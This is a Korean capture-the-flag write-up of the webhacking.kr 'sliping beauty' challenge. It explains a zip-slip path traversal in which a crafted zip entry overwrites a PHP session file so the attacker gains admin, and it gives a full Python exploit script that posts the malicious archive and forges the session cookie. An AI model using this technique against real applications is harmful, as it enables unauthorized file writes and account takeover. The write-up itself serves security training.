write-up(web)/webhacking.kr

[Webhacking.kr] sliping beauty write-up

ssongk 2023. 9. 8. 18:24
<?php
session_start();
if(!$_SESSION['uid']) $_SESSION['uid'] = "guest";
if($_SESSION['uid'] == "admin") include "/flag";
if($_FILES['upload']){
  $path = $_FILES['upload']['tmp_name'];
  $zip = new ZipArchive;
  if ($zip->open($_FILES['upload']['tmp_name']) === true){
    for($i = 0; $i < $zip->numFiles; $i++){
      $filename = $zip->getNameIndex($i);
      $filename_ = $filename.rand(10000000,99999999);
      if(strlen($filename) > 240) exit("file name too long");
      if(preg_match('/[\x00-\x1F\x7F-\xFF]/',$filename)) exit("no hack");
      if(copy("zip://{$_FILES['upload']['tmp_name']}#{$filename}", "./upload/{$filename_}")) echo "{$filename_} uploaded.<br>";
      else echo "{$filename_} upload failed.<br>";
    }
    $zip->close();
  }
}
highlight_file(__FILE__);
?><hr><form enctype="multipart/form-data" method="post">  
<input name="upload" type="file" />  
<input type="submit">
</form>

 

session을 admin으로 바꿔주면 플래그가 나옵니다.

zip 파일을 업로드하면 내부 파일 이름 뒤에 10000000~99999999 범위의 중 하나의 숫자가 붙습니다.

 

php에서 session은 기본적으로 다음과 같은 경로에 저장됩니다.

/var/lib/php/sessions/sess_{}

 

또한 session_start()함수는 임의의 랜덤 값으로 초기 세션 파일을 만들게 됩니다.

"sess_<random_value>"

이 random_value는 쿠키에 저장되는데 "PHPSESSID"라는 키의 값으로 <random_value>가 저장됩니다.

 

아까 위에서 zip 내부 파일 이름 뒤에 10000000~99999999 중 하나의 숫자가 붙는다고 했는데
이것을 이용해 세션 파일을 만들어 낼 수 있습니다.

 

그런 다음 쿠키에서 PHPSESSID의 값을 해당 랜덤한 값으로 바꿔주면 세션 오버라이트를 할 수 있게 됩니다.

 

세션이 없을 때 uid가 guest인 세션을 만들어 주는데
세션 파일의 내부는 다음과 같습니다.

uid|s:5:"guest";

 

여기서 guest를 admin으로 변조하고 파일 이름을 "sess_"로 만들어서 업로드하면 됩니다.

익스플로잇 코드는 다음과 같습니다.

import io
import zipfile

zip_buffer = io.BytesIO()

with zipfile.ZipFile(zip_buffer, "x", zipfile.ZIP_STORED) as zip_file:
   file_name, data = ('../../../../../../../../../var/lib/php/sessions/sess_', io.BytesIO(b'uid|s:5:"admin";'))
   zip_file.writestr(file_name, data.getvalue())
   print(zip_file.getinfo(file_name))

with open('1.zip', 'wb') as f:
   f.write(zip_buffer.getvalue())

import requests
url = 'http://webhacking.kr:10015/'
r = requests.post(url=url, files={'upload':zip_buffer.getvalue()})

start = r.text.find('_')
end = r.text.find('uploaded')
s = r.text[start+1:end]
cookie = {'PHPSESSID':s}
r = requests.post(url=url, cookies=cookie, files={'upload':zip_buffer.getvalue()})
print(r.text[:30])

 


레퍼런스

https://www.youtube.com/watch?v=l1MT5lr4p9o 

https://www.youtube.com/watch?v=ADkjeCPz4TI&t=1268s